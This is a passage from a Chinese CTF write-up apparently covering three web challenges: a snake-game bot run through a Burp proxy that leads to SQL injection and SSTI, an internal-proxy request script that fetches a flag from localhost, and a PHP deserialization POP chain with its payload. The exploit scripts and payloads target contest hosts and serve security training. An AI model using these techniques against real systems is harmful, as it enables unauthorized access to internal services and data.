 &amp;#34;Content-Type&amp;#34;: &amp;#34;application/json&amp;#34;,
 &amp;#34;Origin&amp;#34;: &amp;#34;http://eci-2zeg9nmyrzhwzgcfhwik.cloudeci1.ichunqiu.com:5000/&amp;#34;,
 &amp;#34;Connection&amp;#34;: &amp;#34;close&amp;#34;,
 &amp;#34;Cookie&amp;#34;: &amp;#34;session=eyJ1c2VybmFtZSI6IjEifQ.ZydYYQ.y4ThT_rofnb2wUqbhAdL-57DLLU&amp;#34;,
 &amp;#34;Priority&amp;#34;: &amp;#34;u=4&amp;#34;
}
proxies = {
 &amp;#34;http&amp;#34;: &amp;#34;http://127.0.0.1:8080&amp;#34;,
 &amp;#34;https&amp;#34;: &amp;#34;http://127.0.0.1:8080&amp;#34;,
}

def main():
 global current_direction, last_direction 

 while True:
 try:
 response = requests.post(url, headers=headers, data=json.dumps({&amp;#34;direction&amp;#34;: current_direction}), proxies=proxies)

 if response.status_code == 200:
 game_data = json.loads(response.text)

 if &amp;#39;status&amp;#39; in game_data:
 if game_data[&amp;#39;status&amp;#39;] == &amp;#39;game_over&amp;#39;:
 print(&amp;#34;Game Over!&amp;#34;)
 print(&amp;#34;Final Score:&amp;#34;, game_data.get(&amp;#39;score&amp;#39;, &amp;#39;Score not provided&amp;#39;))
 break
 elif game_data[&amp;#39;status&amp;#39;] == &amp;#39;win&amp;#39;:
 print(&amp;#34;Congratulations! You win!&amp;#34;)
 print(&amp;#34;Final Score:&amp;#34;, game_data.get(&amp;#39;score&amp;#39;, &amp;#39;Score not provided&amp;#39;))

 score = game_data.get(&amp;#39;score&amp;#39;, 0)
 if score &amp;gt;= 50:
 burp_url = &amp;#34;http://127.0.0.1:8080/some_endpoint&amp;#34; 
 burp_response = requests.post(burp_url, json=game_data)
 print(&amp;#34;Data sent to Burp:&amp;#34;, burp_response.status_code)

 food = game_data.get(&amp;#39;food&amp;#39;, [])
 snake = [{&amp;#39;x&amp;#39;: segment[0], &amp;#39;y&amp;#39;: segment[1]} for segment in game_data.get(&amp;#39;snake&amp;#39;, [])]
 grid_size = game_data.get(&amp;#39;grid_size&amp;#39;, 20)

 print(&amp;#34;Food:&amp;#34;, food)
 print(&amp;#34;Snake:&amp;#34;, snake)
 print(&amp;#34;Current Score:&amp;#34;, score)

 if food and snake:
 next_direction = get_next_direction(snake, food, grid_size)
 current_direction = next_direction
 else:
 print(f&amp;#34;Request failed with status code: {response.status_code}&amp;#34;)
 print(&amp;#34;Response Body:&amp;#34;, response.text)
 break
 except requests.exceptions.RequestException as e:
 print(f&amp;#34;Request error: {e}&amp;#34;)
 print(&amp;#34;Response Body:&amp;#34;, response.text if &amp;#39;response&amp;#39; in locals() else &amp;#34;No response&amp;#34;)
 break
 except json.JSONDecodeError as e:
 print(f&amp;#34;JSON decode error: {e}&amp;#34;)
 print(&amp;#34;Response Body:&amp;#34;, response.text if &amp;#39;response&amp;#39; in locals() else &amp;#34;No response&amp;#34;)
 break
 except KeyError as e:
 print(f&amp;#34;Key error: {e}&amp;#34;)
 print(&amp;#34;Response Body:&amp;#34;, response.text if &amp;#39;response&amp;#39; in locals() else &amp;#34;No response&amp;#34;)
 break
 except Exception as e:
 print(f&amp;#34;Unexpected error: {e}&amp;#34;)
 print(&amp;#34;Response Body:&amp;#34;, response.text if &amp;#39;response&amp;#39; in locals() else &amp;#34;No response&amp;#34;)
 break

if __name__ == &amp;#34;__main__&amp;#34;:
 main()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;这里的话加一个代理，使得每次发包的流量都经过bp，方便后续查看状态。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038957.png' alt="image-20241103214907887"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038965.png' alt="image-20241103214136787"&gt;&lt;/p&gt;
&lt;p&gt;这里跑的话要多跑几次。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038020.png' alt="image-20241103214931885"&gt;&lt;/p&gt;
&lt;p&gt;可以看到赢得比赛之后出现一个路由 我们去访问。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038997.png' alt="image-20241103215007722"&gt;&lt;/p&gt;
&lt;p&gt;经过测试发现这是一个sql注入。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038104.png' alt="image-20241103215112767"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038386.png' alt="image-20241103215058598"&gt;&lt;/p&gt;
&lt;p&gt;这里字段很明显了，就是三，也就是time这个字段，但是数据库也没爆出来。&lt;/p&gt;
&lt;p&gt;后面测试发现这就是一个ssti.&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038786.png' alt="image-20241103215458923"&gt;&lt;/p&gt;
&lt;p&gt;这里的话 记得用url编码一下&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038793.png' alt="image-20241103215602542"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038848.png' alt="image-20241103215628739"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="proxy"&gt;&lt;span&gt;proxy&lt;/span&gt;
 &lt;a href="#proxy" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;审计源码发现通过/v2/api/proxy访问/v1/api/flag就行，但是从proxy.conf中发现需要访问http://localhost:8769/v1/api/flag&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038802.png' alt="image-20241103102724680"&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
import json

def get_flag_via_proxy():
 # 定义代理请求的 URL
 proxy_url = &amp;#34;http://47.94.226.70:36891/v2/api/proxy&amp;#34; # 替换为你的代理服务器地址

 # 定义请求头
 headers = {
 &amp;#34;Content-Type&amp;#34;: &amp;#34;application/json&amp;#34;
 }

 # 设置请求数据，通过 /v2/api/proxy 访问 /v1/api/flag
 data = {
 &amp;#34;url&amp;#34;: &amp;#34;http://localhost:8769/v1/api/flag&amp;#34;, # 代理到 localhost:8769
 &amp;#34;method&amp;#34;: &amp;#34;POST&amp;#34;, # 确保使用正确的请求方法
 &amp;#34;body&amp;#34;: &amp;#34;&amp;#34;, # 如果需要请求体，填入相应内容
 &amp;#34;headers&amp;#34;: {
 &amp;#34;Content-Type&amp;#34;: &amp;#34;application/json&amp;#34;
 # 添加其他必要的请求头，例如身份验证头
 },
 &amp;#34;follow_redirects&amp;#34;: False
 }

 try:
 # 发送请求到代理端点
 response = requests.post(proxy_url, headers=headers, data=json.dumps(data))

 # 检查响应状态码
 if response.status_code == 200:
 # 提取并打印 flag
 flag = response.json().get(&amp;#34;flag&amp;#34;)
 print(&amp;#34;Flag:&amp;#34;, flag.decode(&amp;#39;utf-8&amp;#39;) if isinstance(flag, bytes) else flag)
 else:
 print(f&amp;#34;Error: Received status code {response.status_code}&amp;#34;)
 print(&amp;#34;Response:&amp;#34;, response.text)
 except requests.RequestException as e:
 print(&amp;#34;Request failed:&amp;#34;, e)

# 执行脚本
get_flag_via_proxy()&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038798.png' alt="image-20241103102831848"&gt;&lt;/p&gt;
&lt;p&gt;base64解码得到flag&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038261.png' alt="image-20241103102846517"&gt;&lt;/p&gt;
&lt;h1 class="heading-element" id="password-game"&gt;&lt;span&gt;Password Game&lt;/span&gt;
 &lt;a href="#password-game" class="heading-mark"&gt;
 &lt;svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"&gt;&lt;path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"&gt;&lt;/path&gt;&lt;/svg&gt;
 &lt;/a&gt;
&lt;/h1&gt;&lt;p&gt;在game.php这个地方进行抓包，来满足3条规则。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038510.png' alt="image-20241103182838531"&gt;&lt;/p&gt;
&lt;p&gt;这个满足三条规则即可。&lt;/p&gt;
&lt;p&gt;满足条件之后就会输出一段反序列化的代码。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038665.png' alt="image-20241103183324307"&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
include (&amp;#39;flag.php&amp;#39;);
highlight_file(__FILE__);
function filter($password){
 $filter_arr = array(&amp;#34;admin&amp;#34;,&amp;#34;2024qwb&amp;#34;);
 $filter = &amp;#39;/&amp;#39;.implode(&amp;#34;|&amp;#34;,$filter_arr).&amp;#39;/i&amp;#39;;
 return preg_replace($filter,&amp;#34;nonono&amp;#34;,$password);
}

class guest{
 public $username;
 public $value;
 public function __tostring(){
 if($this-&amp;gt;username==&amp;#34;guest&amp;#34;){
 $value();
 }
 return $this-&amp;gt;username;
 }

 public function __call($key,$value){
 if($this-&amp;gt;username==md5($GLOBALS[&amp;#34;flag&amp;#34;])){
 echo $GLOBALS[&amp;#34;flag&amp;#34;];
 }
 }
}
class root{
 public $username;
 public $value;
 public function __get($key){
 if(strpos($this-&amp;gt;username, &amp;#34;admin&amp;#34;) == 0 &amp;amp;&amp;amp; $this-&amp;gt;value == &amp;#34;2024qwb&amp;#34;){
 $this-&amp;gt;value = $GLOBALS[&amp;#34;flag&amp;#34;];
 echo md5(&amp;#34;hello:&amp;#34;.$this-&amp;gt;value);
 }
 }
}
class user{
 public $username;
 public $password;
 public $value;
 public function __invoke(){
 $this-&amp;gt;username=md5($GLOBALS[&amp;#34;flag&amp;#34;]);
 return $this-&amp;gt;password-&amp;gt;guess(); 
 }
 public function __destruct(){
 if(strpos($this-&amp;gt;username, &amp;#34;admin&amp;#34;) == 0 ){
 echo &amp;#34;hello&amp;#34;.$this-&amp;gt;username;
 }
 }
}
$user=unserialize(filter($_POST[&amp;#34;password&amp;#34;]));
if(strpos($user-&amp;gt;username, &amp;#34;admin&amp;#34;) == 0 &amp;amp;&amp;amp; $user-&amp;gt;password == &amp;#34;2024qwb&amp;#34;){
 echo &amp;#34;hello!&amp;#34;;
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;flag是全局变量，需要将其echo出来。&lt;/p&gt;
&lt;p&gt;整体思路就是利用引用，在root类里面定义一个不存在的属性，然后将其和user里面的value进行引用 触发get魔术方法。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038548.png' alt="image-20241103185702410"&gt;&lt;/p&gt;
&lt;p&gt;这个地方会echo出username，也就是$this-&amp;gt;value = $GLOBALS[&amp;ldquo;flag&amp;rdquo;]; 这个地方。&lt;/p&gt;
&lt;p&gt;先在本地测试一下：&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038630.png' alt="image-20241103190111605"&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
class guest
{
 public $username;
 public $value;
}
class root{
 public $username;
 public $fs;
 public $value;
}
class user{
 public $username;
 public $password;
 public $value;

}
$a = new root();
$a-&amp;gt;username = &amp;#34;qwb&amp;#34;;
$a-&amp;gt;value = 2024;
$b=new user();
$a-&amp;gt;fs = $b;
$a-&amp;gt;fs -&amp;gt;username = &amp;amp;$a-&amp;gt;value;
$a-&amp;gt;fs -&amp;gt;password = &amp;#34;Aa123&amp;#34;;
echo serialize($a);
#O:4:&amp;#34;root&amp;#34;:3:{s:8:&amp;#34;username&amp;#34;;s:3:&amp;#34;qwb&amp;#34;;s:2:&amp;#34;fs&amp;#34;;O:4:&amp;#34;user&amp;#34;:3:{s:8:&amp;#34;username&amp;#34;;i:2024;s:8:&amp;#34;password&amp;#34;;s:5:&amp;#34;Aa123&amp;#34;;s:5:&amp;#34;value&amp;#34;;N;}s:5:&amp;#34;value&amp;#34;;R:4;}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;发现是可以的。&lt;/p&gt;
&lt;p&gt;后面反序列化的数字总和仍然需要满足那三个规则，这里改的话主要是改password，慢慢计算即可。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038714.png' alt="image-20241103190450800"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038077.png' alt="image-20241103190655532"&gt;&lt;/p&gt;
&lt;p&gt;最后那个地方得满足前两个条件。&lt;/p&gt;
&lt;p&gt;这里修改一下。&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038205.png' alt="image-20241103190820703"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" src='https://p0l1st.oss-cn-beijing.aliyuncs.com/img/202411041038125.png' alt="image-20241103190958516"&gt;&lt;/p&gt;
&lt;p&gt;​&lt;/p&gt;</description></item></channel></rss>